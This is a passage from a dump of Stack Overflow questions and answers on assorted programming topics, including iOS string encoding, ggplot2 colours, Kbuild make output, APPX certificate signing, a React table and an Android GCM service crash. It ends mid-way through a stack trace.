28330265	0	iOS objective C NSData to NSString return nil <p><code>data</code> is downloaded from website, </p> <pre><code>NSString * html = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; </code></pre> <p><code>html</code> is <code>nil</code>, but </p> <pre><code>NSString * html = [[NSString alloc] initWithData:data encoding:NSASCIIStringEncoding]; </code></pre> <p>will have the content. Since the website contains Chinese characters, if using Ascii, the Chinese cannot be displayed. I guess there are some invalid UTF-8 in the website, so that make the first code not working.</p> <p>Is there any methods can keep using UTF-8 but ignore some invalid error?</p>
7046328	0	 <pre><code>/*! * reads binary data into the string. * @status : OK. */ class UReadBinaryString { static std::string read(std::istream &amp;is, uint32_t size) { std::string returnStr; if(size &gt; 0) { CWrapPtr&lt;char&gt; buff(new char[size]); // custom smart pointer is.read(reinterpret_cast&lt;char*&gt;(buff.m_obj), size); returnStr.assign(buff.m_obj, size); } return returnStr; } }; class objHeader { public: std::string m_ID; // serialize std::ostream &amp;operator &lt;&lt; (std::ostream &amp;os) { uint32_t size = (m_ID.length()); os.write(reinterpret_cast&lt;char*&gt;(&amp;size), sizeof(uint32_t)); os.write(m_ID.c_str(), size); return os; } // de-serialize std::istream &amp;operator &gt;&gt; (std::istream &amp;is) { uint32_t size; is.read(reinterpret_cast&lt;char*&gt;(&amp;size), sizeof(uint32_t)); m_ID = UReadBinaryString::read(is, size); return is; } }; </code></pre>
26172961	0	 <p><a href="http://jsfiddle.net/9uppsLqa/5/" rel="nofollow">http://jsfiddle.net/9uppsLqa/5/</a></p> <pre><code>.arrow_box { border-radius: .1875em; z-index: 99; position: relative; box-shadow: 0 0 0 1px rgba(0,0,0,0.15),inset 0 0 0 1px rgba(255,255,255,0.6), 0 4px 2px -2px rgba(0,0,0,0.2),0 0 1px 1px rgba(0,0,0,0.15); background-repeat: repeat-x; background-position: 0 0; background-image: linear-gradient(to bottom,rgba(255,255,255,0.7) 0,rgba(255,255,255,0) 100%); background-color: #e1e1e1; margin-top: 3em; margin-left: .75em; margin-right: .75em; padding-left: 0; padding-bottom: 0; padding-right: 0; padding-top: 0; width: 340px; height: 160px; } .arrow_box:after, .arrow_box:before { border: 13px solid transparent; position: absolute; content: ''; left: 90%; bottom:100%; } .arrow_box:after { border-bottom-color: #fafafa; border-width: 14px; margin-left: -24px; } .arrow_box:before { border-bottom-color: #999; border-width: 15px; margin-left: -25px; } </code></pre>
8659428	0	 <p>I know how.</p> <p>Let's say you have a <code>DataList</code> name myDataList, and a <code>TextBox</code> in it named by myTextBox.</p> <pre><code>foreach (DataListItem item in myDataList.Items) { TextBox myTextBox = (TextBox)item.FindControl("myTextBox"); string text = myTextBox.text; // Do whatever you need with that string value here } </code></pre> <p>This loops through all of the items in your <code>DataList</code> and places the value of your <code>TextBox</code> into a local string variable named "text". From there, you can do whatever else needs to be done.</p>
19816451	0	How to float text next to iframe <p>I'm trying to float text left of an iframe. I have the below, though it will not float. What needs to be changed? Canvas width is 800px</p> <pre><code>&lt;p class="float-left"&gt;&lt;/p&gt; &lt;iframe class="float-right" width="420" height="315" src="//www.youtube.com/embed/" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;div class="clear"&gt;&lt;/div&gt; .float-left { position: relative; float: left; margin: 0px 0px 50px; width: 250; height: 100%; } .float-right { float: right; width: 65%; } </code></pre>
33955850	0	 <p>In Excel, you can do it using an array formula to search for the next frequency which is in range:-</p> <pre><code>=MATCH(1,(B2:B$10&gt;=49)*(B2:B$10&lt;=51),0)-1 </code></pre> <p>if your frequencies start in B2.</p> <p>Must be entered in C2 with <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>Enter</kbd></p> <p>Here is a modified version which allows for the case where the last frequency is out of range, assuming there are no blanks between frequency values and one or more blanks at the end:-</p> <pre><code>=MATCH(1,(B2:B$10&gt;=49)*(B2:B$10&lt;=51)+(B2:B$10=""),0)-1 </code></pre> <p><a href="https://i.stack.imgur.com/7SXYe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7SXYe.png" alt="enter image description here"></a></p>
2996662	0	ASP.net - Does a return statement in function stop the function? <p>Given the function</p> <pre><code>'Returns true if no cell is &gt; 1 Function isSolutionValid() As Boolean Dim rLoop As Integer Dim cLoop As Integer For cLoop = 0 To canvasCols - 1 For rLoop = 0 To canvasRows - 1 If canvas(cLoop, rLoop) &gt; 1 Then Return False End If Next Next Return True End Function </code></pre> <p>When 'return false' is fired, I'm assuming that the function is stopped at that point and there's no need for exit fors and things like that?</p>
16474110	0	 <p>With PowerShell you're likely to find many different ways to do the same thing. Here's a way to do this as one-liner:</p> <pre><code>PS&gt; 'Tom1Jerry02','abcd0asdf001','qwerty1' | Foreach {if ($_ -match '(\d+)$') {$matches[1]}} 02 001 1 </code></pre>
28206222	0	 <p>If you want to specify a literal color value in a geom_segment, you should not include it in the <code>aes()</code>. For example using this test data</p> <pre><code>DF_for_plotting &lt;- data.frame( variable=rep("StrpCnCor",4), value=c(0, 50.79330935, 81.127731, 100) ) </code></pre> <p>you can do</p> <pre><code>ggplot() + geom_segment(data=DF_for_plotting, aes(x=value[1], xend=value[2]-0.001, y=1, yend=1), colour="green", size=10) + geom_segment(data=DF_for_plotting, aes(x=value[2], xend=value[3]-0.001, y=1, yend=1), colour="blue", size=10) + geom_segment(data=DF_for_plotting, aes(x=value[3], xend=value[4]-0.001, y=1, yend=1), colour="red", size=10) </code></pre> <p><img src="https://i.stack.imgur.com/IX6yc.png" alt="enter image description here"></p> <p>or with hex colors</p> <pre><code>ggplot() + geom_segment(data=DF_for_plotting, aes(x=value[1], xend=value[2]-0.001, y=1, yend=1), colour="#9999CC", size=10) + geom_segment(data=DF_for_plotting, aes(x=value[2], xend=value[3]-0.001, y=1, yend=1), colour="#66CC99", size=10) + geom_segment(data=DF_for_plotting, aes(x=value[3], xend=value[4]-0.001, y=1, yend=1), colour="#CC6666", size=10) </code></pre> <p><img src="https://i.stack.imgur.com/OBrPF.png" alt="enter image description here"></p> <p>Although because you're not mapping anything to the color aesthetic, no legend will be provided.</p> <p>When you put it in the <code>aes()</code>, you're not specifying a literal value, you are just specifying a literal value to associate with a color it doesn't matter if you use <code>aes(color="red")</code> or <code>aes(color="determination")</code>; it just treats it as a literal character value and will use it's own color palate to assign a color to that character value. You can specify your own colors with <code>scale_fill_manual</code> For example</p> <pre><code>ggplot() + geom_segment(data=DF_for_plotting, aes(x=value[1], xend=value[2]-0.001, y=1, yend=1, colour="a"), , size=10) + geom_segment(data=DF_for_plotting, aes(x=value[2], xend=value[3]-0.001, y=1, yend=1, colour="b"), , size=10) + geom_segment(data=DF_for_plotting, aes(x=value[3], xend=value[4]-0.001, y=1, yend=1, colour="c"), size=10) + scale_color_manual(values=c(a="green",b="blue",c="red")) </code></pre> <p><img src="https://i.stack.imgur.com/TFmmf.png" alt="enter image description here"></p> <pre><code>ggplot() + geom_segment(data=DF_for_plotting, aes(x=value[1], xend=value[2]-0.001, y=1, yend=1, colour="a"), , size=10) + geom_segment(data=DF_for_plotting, aes(x=value[2], xend=value[3]-0.001, y=1, yend=1, colour="b"), , size=10) + geom_segment(data=DF_for_plotting, aes(x=value[3], xend=value[4]-0.001, y=1, yend=1, colour="c"), size=10) + scale_color_manual(values=c(a="#9999CC",b="#66CC99",c="#CC6666")) </code></pre> <p><img src="https://i.stack.imgur.com/F5s4o.png" alt="enter image description here"></p> <p>Here i called the three groups "a", "b", and "c" but you could also call then "green","blue","red" if you want -- it just seems odd to have a legend that tells you what color is green.</p>
25026161	0	 <blockquote> <p>How do I read json with bash?</p> </blockquote> <p>You can use <a href="http://stedolan.github.io/jq/" rel="nofollow"><code>jq</code></a> for that. First thing you have to do is extract the list of hostnames and save it to a bash array. Running a loop on that array you would then run again a query for each hostname to extract each element based on them and save the data through redirection with the filename based on them as well.</p>
5917442	0	Getting the data of Ancestor node + XQuery-Sql <p>This is how my XML looks like : </p> <pre><code> &lt;Product sequence_number="1" number="1543448904" id="S1" unit_number="1"&gt; &lt;consumer_narrative name="GLENN,GREGORY" date_filed="02/13/2009"&gt; &lt;message type="Consumer Comments"&gt;THE CONSUMER STATES THIS WAS NOT &lt;/message&gt; &lt;message type="Consumer Comments"&gt;THE PRODUCT REQUESTED.&lt;/message&gt; &lt;/consumer_narrative&gt;&lt;/Product&gt; &lt;Product sequence_number="2" number="1543448905" id="S1" unit_number="1"&gt; &lt;consumer_narrative name="JOHN,GORDON" date_filed="08/23/2009"&gt; &lt;message type="Consumer Comments"&gt;THE CONSUMER STATES THAT&lt;/message&gt; &lt;message type="Consumer Comments"&gt;WRONG PRODUCT WAS SENT.&lt;/message&gt; &lt;/consumer_narrative&gt; &lt;/Product&gt; </code></pre> <p>My Query : </p> <pre><code>SELECT tab.col.value('../@number', 'varchar(30)') [Claim Number], tab.col.value('../@name', 'varchar(30)') [Name], tab.col.value('../@date_filed', 'varchar(30)') [DateField], tab.col.value('@type', 'varchar(50)') [Type], tab.col.value('.', 'varchar(250)') [CustomerComments] FROM XMLTABLE AS B CROSS APPLY xmldocument.nodes('//Product/consumer_narrative/message') tab(col) WHERE B.XMLId = 123 </code></pre> <p>Gives me "null" for Claim Number. What should I have in the place of ../@number to get the claim number.</p>
22675938	0	 <p>There's nothing special here about it being main(). The same will happen if you do this for any function. Consider this example:</p> <p>file1.cpp:</p> <pre><code>#include &lt;cstdio&gt; void stuff(void) { puts("hello there."); } void (*func)(void) = stuff; </code></pre> <p>file2.cpp:</p> <pre><code>extern "C" {void func(void);} int main(int argc, char**argv) { func(); } </code></pre> <p>This will also compile, and then segfault. It is essentially doing the same thing for the function func, but because the coding is explicit it now more apparently looks wrong. main() is a plain C type function with no name mangling, and just appears as a name in the symbol table. If you make it something other than a function, you get a segfault when it executes a pointer. </p> <p>I guess the interesting part is that the compiler will allow you to define a symbol called main when it is already implicitly declared with a different type. </p>
10616506	0	 <p>If you use XIBs make mask for your subviews as shown here:</p> <p><img src="https://i.stack.imgur.com/Av5v6.png" alt="Center without resizing of subviews"></p> <p>or here:</p> <p><img src="https://i.stack.imgur.com/xOduO.png" alt="Center with resizing of subview"></p> <p>If you prefer to use code use posted one by @adali.</p>
38145574	0	 <p>You can use the layout and code below to achieve the desired effect. <a href="https://gist.github.com/trivalent/00526294fa38072a6034f5dc5910824a" rel="nofollow">Source code gist</a></p> <p>What I have used is get the width of the text + the time layout and check if this exceeds the container layout width, and adjust the height of the container accordingly. We have to extend from FrameLayout since this is the one which allows overlapping of two child views. </p> <p>This is tested to be working on English locale. Suggestions and improvements are always welcome :)</p> <p>Hope I've helped someone looking for the same solution.</p>
15024854	0	 <p>This isn't possible. There's no way to know with certainty that <code>"11/4/2012 1:04:28 AM"</code> is PST and not actually an observation between <code>"11/4/2012 12:51:20 AM"</code> and <code>"11/4/2012 1:13:08 AM"</code> PDT.</p> <p>If you're certain the observations are ordered in the file, you could convert them to <code>POSIXt</code> and take the <code>diff</code> of the vector. Any negative values will be DST changes. You may miss some, however, if the time between observations across a DST change is greater than 1 hour.</p> <pre><code>Lines &lt;- "11/4/2012 12:51:20 AM 11/4/2012 01:13:08 AM 11/4/2012 01:24:58 AM 11/4/2012 01:40:28 AM 11/4/2012 01:48:08 AM 11/4/2012 01:54:08 AM 11/4/2012 01:56:58 AM 11/4/2012 01:04:28 AM 11/4/2012 01:05:48 AM 11/4/2012 01:07:18 AM 11/4/2012 01:15:00 AM 11/4/2012 01:39:08 AM 11/4/2012 02:05:38 AM" x &lt;- scan(con &lt;- textConnection(Lines), what="", sep="\n") close(con) diff(strptime(x, format="%m/%d/%Y %I:%M:%S %p")) # Time differences in mins # [1] 21.800000 11.833333 15.500000 7.666667 6.000000 2.833333 # [7] -52.500000 1.333333 1.500000 7.700000 24.133333 86.500000 </code></pre>
23989955	0	 <p>It's not one json string but an array of json strings. You have to first loop thru the array, parse the json and show the variables that you want in your html with jQuery.</p> <p>You can find a lot of info on the internet and stackoverflow on this subject.</p>
5180309	0	 <p>I would use <a href="http://www.clutter-project.org/" rel="nofollow">clutter</a>, for details use the clutter examples, they are pretty nice.</p> <p><strong>Edit:</strong></p> <p>If you can not use clutter, you may have a look at <a href="http://cairographics.org/" rel="nofollow">cairo</a> which also has some neat examples on the given homepage</p>
12572211	0	 <p>So apparently, you can't just take any temporary key and sign the APPX with it. In particular the certificate subject lines must match(the "publisher name"). I do not know of a better way of determining what the subject line much actually be so bare with me. First, try to use signtool and sign the APPX file with any temporary key. Now go to Event Viewer. Then to Applications and Services and then Microsoft and then Windows and then AppxPackaging and finally Microsoft-Windows-AppxPackages/Operational. There should be an error event that just happened from that build. Check it. It should say something like</p> <pre><code>Error 0x800700B: The app manifest publisher name (CN=random-hex-number) must match the subject name of the signing certificate (CN=MyWrongName) </code></pre> <p>So, now make sure to hang on to that random-hex-number. That needs to be the subject line of the certificate and is the cause of the error. To generate a working certificate:</p> <pre><code>makecert.exe mycert.cer -r -n "CN=random-hex-number" -$ individual -sv private.pkv -pe -cy end pvk2pfx -pvk private.pkv -spc mycert.cer -pfx mytemporarykey.pfx </code></pre> <p>Now finally, you should have a temporary key that will work with signtool!</p> <p>Hopefully this answers serves other people well. </p>
32024168	0	 <p>Let's take an specific example and figure out what it does in the kernel 4.1, e.g. <code>IHEX</code>.</p> <p><strong>Find what a code does</strong></p> <p>Just run:</p> <pre><code>make SHELL='sh -x' </code></pre> <p>How that works: <a href="http://stackoverflow.com/a/32010960/895245">http://stackoverflow.com/a/32010960/895245</a></p> <p>If we grep the output for <code>IHEX</code>, we find the lines:</p> <pre><code>+ echo IHEX firmware/e100/d101s_ucode.bin IHEX firmware/e100/d101s_ucode.bin + objcopy -Iihex -Obinary /home/ciro/git/kernel/src/firmware/e100/d101s_ucode.bin.ihex firmware/e100/d101s_ucode.bin </code></pre> <p>so we conclude that <code>IHEX</code> does a <code>objcopy -Iihex</code>.</p> <p><strong>Find where a code is defined</strong></p> <p>Every kernel command must be defined with something like:</p> <pre><code>quiet_cmd_ihex = IHEX $@ cmd_ihex = $(OBJCOPY) -Iihex -Obinary $&lt; $@ $(obj)/%: $(obj)/%.ihex $(call cmd,ihex) </code></pre> <p>for the verbosity settings (e.g. <code>V=1</code> and <code>make -s</code>) to work.</p> <p>So in general, you just have to</p> <pre><code>git grep 'cmd.* = CODE' </code></pre> <p>to find <code>CODE</code>.</p> <p>I have explained in detail how this system works at: <a href="http://stackoverflow.com/a/32023861/895245">http://stackoverflow.com/a/32023861/895245</a></p> <p><strong>Get the list of all codes</strong></p> <pre><code>make | grep -E '^ ' | sort -uk1,1 </code></pre> <p><strong>CC and CC [M]</strong></p> <p>Defined in <code>scripts/Makefile.build</code>:</p> <pre><code>quiet_cmd_cc_o_c = CC $(quiet_modtag) $@ cmd_cc_o_c = $(CC) $(c_flags) -c -o $@ $&lt; </code></pre> <p>and the <code>[M]</code> comes from the <a href="http://stackoverflow.com/questions/32023711/what-is-the-meaning-of-a-variable-defined-on-the-same-line-of-a-rule-targets-pre">target specific variables</a>:</p> <pre><code>$(real-objs-m) : quiet_modtag := [M] $(real-objs-m:.o=.i) : quiet_modtag := [M] $(real-objs-m:.o=.s) : quiet_modtag := [M] $(real-objs-m:.o=.lst): quiet_modtag := [M] $(obj-m) : quiet_modtag := [M] </code></pre> <p>It is then called through:</p> <pre><code>$(obj)/%.o: $(src)/%.c $(recordmcount_source) FORCE [...] $(call if_changed_rule,cc_o_c) define rule_cc_o_c [...] $(call echo-cmd,cc_o_c) $(cmd_cc_o_c); \ </code></pre> <p>where <code>if_changed_rule</code> is defined in <code>scripts/Kbuild.include</code> as:</p> <pre><code>if_changed_rule = $(if $(strip $(any-prereq) $(arg-check) ), \ @set -e; \ $(rule_$(1))) </code></pre> <p>and <code>Kbuild.include</code> gets included on the top level Makefile.</p> <p><strong>LD</strong></p> <p>There are a few versions, but the simplest seems to be:</p> <pre><code>quiet_cmd_link_o_target = LD $@ cmd_link_o_target = $(if $(strip $(obj-y)),\ $(LD) $(ld_flags) -r -o $@ $(filter $(obj-y), $^) \ $(cmd_secanalysis),\ rm -f $@; $(AR) rcs$(KBUILD_ARFLAGS) $@) $(builtin-target): $(obj-y) FORCE $(call if_changed,link_o_target) </code></pre> <p>and in <code>scripts/Kbuild.include</code>:</p> <pre><code># Execute command if command has changed or prerequisite(s) are updated. # if_changed = $(if $(strip $(any-prereq) $(arg-check)), \ @set -e; \ $(echo-cmd) $(cmd_$(1)); \ printf '%s\n' 'cmd_$@ := $(make-cmd)' &gt; $(dot-target).cmd) </code></pre>
11910787	0	 <p>It was most likely an issue of permissions, but I never got it to work on its own (might've been something to do with using a Windows server). Anyway, my co-worker tried a different Linux server and got it to run fine. Thanks for the feedback still, CBroe.</p>
30281143	0	React.js creating a table with a dynamic amount of rows with an editable column <p>I am trying to create a react.js table that syncs with a leaflet map. I have this data and I am able to get the data properly, but I cannot create a table correctly. I am able to see the headers because they are hardcoded, but I am not able to see the rows. I also have a picture to explain the data at the console.log() points in the code. Here is the code:</p> <pre><code>/* Table React Component */ var TABLE_CONFIG = { sort: { column: "Zone", order: "desc" }, columns: { col1: { name: "Zone", filterText: "", defaultSortOrder: "desc" }, col2: { name: "Population", filterText: "", defaultSortOrder: "desc" } } }; var Table = React.createClass({ getInitialState: function() { var tabledata = []; var length = _.size(testJSON.zones); for(i = 0; i &lt; length; i++) { var name = _.keys(testJSON.zones)[i]; var population = testJSON.zones[name].population.value; if(name == "default") { population = testJSON.zones[name].population.default.value; } tabledata[i] = {name, population}; } console.log(tabledata); return {zones: tabledata}; }, render: function() { var rows = []; this.state.zones.forEach(function(zone) { rows.push(&lt;tr Population={zone.population} Zone={zone.name} /&gt;); }.bind(this)); console.log(rows); return ( &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Zone&lt;/th&gt; &lt;th&gt;Population&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;{rows}&lt;/tbody&gt; &lt;/table&gt; ); } }); </code></pre> <p>Here you can see the <code>console.log(tabledata)</code> line in full as well as the first object in <code>console.log(rows)</code></p> <p><img src="https://i.stack.imgur.com/wTkbV.png" alt="Zone name and population"></p> <p>I would like to see something like the picture below. Please note I want to Zone column to not be editable input, but the population to be editable: </p> <p><img src="https://i.stack.imgur.com/0uk4h.png" alt="Desired Table"></p>
7345130	0	Problem while consuming external webservice using WSClient <p>i am using wsclient plugin to consume external web services.</p> <pre><code> proxy = new WSClient("http://www.w3schools.com/webservices/tempconvert.asmx?WSDL", this.class.classLoader) proxy.initialize() result = proxy.CelsiusToFahrenheit(0) println "You are probably freezing at ${result} degrees Farhenheit" </code></pre> <p>when i execute this sample code, i am getting <code>ServiceConstructionException</code> error.</p> <p>Stacktrace as follows:</p> <pre><code>org.apache.cxf.service.factory.ServiceConstructionException: Could not resolve URL "http://www.w3schools.com/webservices/tempconvert.asmx?WSDL" at org.apache.cxf.endpoint.dynamic.DynamicClientFactory.composeUrl(DynamicClientFactory.java:611) at org.apache.cxf.endpoint.dynamic.DynamicClientFactory.createClient(DynamicClientFactory.java:251) at org.apache.cxf.endpoint.dynamic.DynamicClientFactory.createClient(DynamicClientFactory.java:196) at org.apache.cxf.endpoint.dynamic.DynamicClientFactory.createClient(DynamicClientFactory.java:175) at groovyx.net.ws.AbstractCXFWSClient.createClient(AbstractCXFWSClient.java:198) at groovyx.net.ws.WSClient.initialize(WSClient.java:107) at groovyx.net.ws.IWSClient$initialize.call(Unknown Source) at ConsoleScript2.run(ConsoleScript2:5) Caused by: java.net.ConnectException: Connection timed out: connect at org.apache.cxf.resource.URIResolver.tryFileSystem(URIResolver.java:161) at org.apache.cxf.resource.URIResolver.&lt;init&gt;(URIResolver.java:90) at org.apache.cxf.endpoint.dynamic.DynamicClientFactory.composeUrl(DynamicClientFactory.java:603) ... 7 more </code></pre> <p>i couldn't find what is wrong. Please help me.</p>
1160590	0	 <ul> <li><a href="http://stackoverflow.com/questions/1159956/how-to-convert-powerbasic-types-to-vb6-types/1160183#1160183">Jim's answer</a> looks good. I'd also suggest looking at the <a href="http://vb.mvps.org/tips/vb5dll.asp" rel="nofollow noreferrer">Microsoft advice</a> on writing C DLLs to be called from VB. Originally released with VB5 but still relevant to VB6. It explains the structure packing etc. </li> <li>EDIT. Also worth a look: VB6 guru Karl Peterson <a href="http://vb.mvps.org/articles/ap199911.asp" rel="nofollow noreferrer">discusses</a> how to deal with structures containing pointers in VB6.</li> </ul>
33628226	0	 <p><code>&lt;jenkins_url&gt;/computer/</code> shows os and architecture for each node:</p> <pre><code>[online] node1 Linux (i386) [online] node2 SunOS (sparcv9) [online] node3 Linux (amd64) [online] node4 Windows Server 2008 R2 (amd64) [online] node5 Windows 7 (x86) </code></pre> <p>If you want to distinguish linux distros - jenkins could not distinguish them - you could put distro in node description and/or labels if you need it</p>
15654296	0	Unable to instantiate service on adding intent.setClassName(context, ProcessIntent.class.getName()); <p>I am developing an application which uses Google Cloud Messaging. I am referring to this link to start making the application. </p> <blockquote> <p><a href="http://developer.android.com/google/gcm/gcm.html" rel="nofollow">http://developer.android.com/google/gcm/gcm.html</a></p> </blockquote> <p>But when I enter the line intent.setClassName(context, ProcessIntent.class.getName()); in ProcessIntent.java class, I get a "Could not instantiate service com.venky.ProcessIntent" error. The java code is below.</p> <pre><code> package com.venky.gcmexample; import android.app.IntentService; import android.content.Context; import android.content.Intent; import android.os.PowerManager; import android.util.Log; import android.widget.Toast; public class ProcessIntent extends IntentService { public ProcessIntent(String name) { super(name); } private static PowerManager.WakeLock sWakeLock; private static final Object LOCK = ProcessIntent.class; private static final String TAG = "ProcessIntent"; @Override protected void onHandleIntent(Intent intent) { try { String action = intent.getAction(); if (action.equals("com.google.android.c2dm.intent.REGISTRATION")) { handleRegistration(intent); } else if (action.equals("com.google.android.c2dm.intent.RECEIVE")) { handleMessage(intent); } } finally { synchronized(LOCK) { sWakeLock.release(); } } } private void handleMessage(Intent intent) { } private void handleRegistration(Intent intent) { String registrationId = intent.getStringExtra("registration_id"); String error = intent.getStringExtra("error"); String unregistered = intent.getStringExtra("unregistered"); // registration succeeded if (registrationId != null) { // store registration ID on shared preferences // notify 3rd-party server about the registered ID Toast.makeText(this, registrationId, Toast.LENGTH_SHORT).show(); Log.d("handleRegistration", "got registration Id"); } // unregistration succeeded if (unregistered != null) { // get old registration ID from shared preferences // notify 3rd-party server about the unregistered ID Toast.makeText(this, registrationId, Toast.LENGTH_SHORT).show(); Log.d("handleRegistration", "un registration Id"); } // last operation (registration or unregistration) returned an error; if (error != null) { if ("SERVICE_NOT_AVAILABLE".equals(error)) { // optionally retry using exponential back-off // (see Advanced Topics) Toast.makeText(this, error, Toast.LENGTH_SHORT).show(); Log.d("handleRegistration", error); } else { // Unrecoverable error, log it Toast.makeText(this, error, Toast.LENGTH_SHORT).show(); Log.d("handleRegistration", error); Log.i(TAG, "Received error: " + error); } } } static void processIntent(Context context, Intent intent){ Toast.makeText(context, "Intent Service started successfully", Toast.LENGTH_SHORT).show(); Log.d("ProcessIntent", "Intent Service started successfully"); synchronized(LOCK) { if (sWakeLock == null) { PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE); sWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "my_wakelock"); } } sWakeLock.acquire(); intent.setClassName(context, ProcessIntent.class.getName()); context.startService(intent); Toast.makeText(context, "reached end of processIntent", Toast.LENGTH_SHORT).show(); } } </code></pre> <p>There are two other java files as shown below and also the manifest. MyBroadcastReceiver.java :</p> <pre><code>package com.venky.gcmexample; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; import android.widget.Toast; public class MyBroadcastReceiver extends BroadcastReceiver { @Override public final void onReceive(Context context, Intent intent) { Toast.makeText(context, "Recieved a broadcast intent", Toast.LENGTH_SHORT).show(); Log.d("MyBroadcstReceiver", "Recieved an intent broadcast"); ProcessIntent.processIntent(context, intent); setResult(Activity.RESULT_OK, null, null); } } </code></pre> <p>MainActivity.java</p> <pre><code>package com.venky.gcmexample; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.Toast; import android.app.Activity; import android.app.PendingIntent; import android.content.Intent; public class MainActivity extends Activity implements OnClickListener{ Button bReg, bUnreg; String senderID = "369107456320"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); bReg = (Button) findViewById(R.id.bReg); bUnreg = (Button) findViewById(R.id.bUnreg); bReg.setOnClickListener(this); bUnreg.setOnClickListener(this); } @Override public void onClick(View v) { switch(v.getId()){ case(R.id.bReg): Intent regIntent = new Intent("com.google.android.c2dm.intent.REGISTER"); regIntent.putExtra("app", PendingIntent.getBroadcast(this, 0, new Intent(), 0)); regIntent.putExtra("sender", senderID); Toast.makeText(this, "Registration Started", Toast.LENGTH_SHORT).show(); Log.d("Main Activity bReg", "Registration Started"); startService(regIntent); break; case(R.id.bUnreg): Intent unregIntent = new Intent("com.google.android.c2dm.intent.UNREGISTER"); unregIntent.putExtra("app", PendingIntent.getBroadcast(this, 0, new Intent(), 0)); Toast.makeText(this, "Unregistration Started", Toast.LENGTH_SHORT).show(); Log.d("Main Activity bUnreg", "Unregistration Started"); startService(unregIntent); } } } </code></pre> <p>AndroidManifest.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.venky.gcmexample" android:versionCode="1" android:versionName="1.0" &gt; &lt;uses-sdk android:minSdkVersion="10" android:targetSdkVersion="10" /&gt; &lt;uses-permission android:name="android.permission.INTERNET"/&gt; &lt;uses-permission android:name="android.permission.WAKE_LOCK"/&gt; &lt;uses-permission android:name="android.permission.GET_ACCOUNTS"/&gt; &lt;uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/&gt; &lt;permission android:name="com.venky.gcmexample.permission.C2D_MESSAGE" android:protectionLevel="signature" /&gt; &lt;uses-permission android:name="com.venky.gcmexample.permission.C2D_MESSAGE" /&gt; &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;activity android:name="com.venky.gcmexample.MainActivity" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;receiver android:name="com.venky.gcmexample.MyBroadcastReceiver" android:permission="com.google.android.c2dm.permission.SEND" &gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.c2dm.intent.RECEIVE" /&gt; &lt;action android:name="com.google.android.c2dm.intent.REGISTRATION" /&gt; &lt;category android:name="com.venky.gcmexample" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; &lt;service android:name=".ProcessIntent" /&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre> <p>The error log is :</p> <pre><code>03-27 13:24:50.405: D/WindowManagerImpl(20132): addView, new view, mViews[0]: com.android.internal.policy.impl.PhoneWindow$DecorView@40793c90 03-27 13:24:55.400: D/View(20132): onTouchEvent: viewFlags: 0x18004001 03-27 13:24:55.400: D/View(20132): onTouchEvent: isFocusable: true, isFocusableInTouchMode: false, isFocused: false; focusTaken: false 03-27 13:24:55.420: D/Main Activity bReg(20132): Registration Started 03-27 13:24:55.450: D/WindowManagerImpl(20132): addView, new view, mViews[1]: android.widget.LinearLayout@4079e3c0 03-27 13:24:57.431: D/WindowManagerImpl(20132): finishRemoveViewLocked, mViews[1]: android.widget.LinearLayout@4079e3c0 03-27 13:24:59.413: D/MyBroadcstReceiver(20132): Recieved an intent broadcast 03-27 13:24:59.423: D/ProcessIntent(20132): Intent Service started successfully 03-27 13:24:59.443: D/WindowManagerImpl(20132): addView, new view, mViews[1]: android.widget.LinearLayout@407a1cb0 03-27 13:24:59.453: D/dalvikvm(20132): newInstance failed: no &lt;init&gt;() 03-27 13:24:59.453: D/AndroidRuntime(20132): Shutting down VM 03-27 13:24:59.453: W/dalvikvm(20132): threadid=1: thread exiting with uncaught exception (group=0x4028f5a0) 03-27 13:24:59.463: E/AndroidRuntime(20132): FATAL EXCEPTION: main 03-27 13:24:59.463: E/AndroidRuntime(20132): java.lang.RuntimeException: Unable to instantiate service com.venky.gcmexample.ProcessIntent: java.lang.InstantiationException: com.venky.gcmexample.ProcessIntent 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.app.ActivityThread.handleCreateService(ActivityThread.java:2287) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.app.ActivityThread.access$2500(ActivityThread.java:135) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1118) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.os.Handler.dispatchMessage(Handler.java:99) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.os.Looper.loop(Looper.java:150) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.app.ActivityThread.main(ActivityThread.java:4389) 03-27 13:24:59.463: E/AndroidRuntime(20132): at java.lang.reflect.Method.invokeNative(Native Method) 03-27 13:24:59.463: E/AndroidRuntime(20132): at java.lang.reflect.Method.invoke(Method.java:507) 03-27 13:24:59.463: E/AndroidRuntime(20132): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:849) 03-27 13:24:59.463: E/AndroidRuntime(20132): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:607) 03-27 13:24:59.463: E/AndroidRuntime(20132): at dalvik.system.NativeStart.main(Native Method) 03-27 13:24:59.463: E/AndroidRuntime(20132): Caused by: java.lang.InstantiationException: 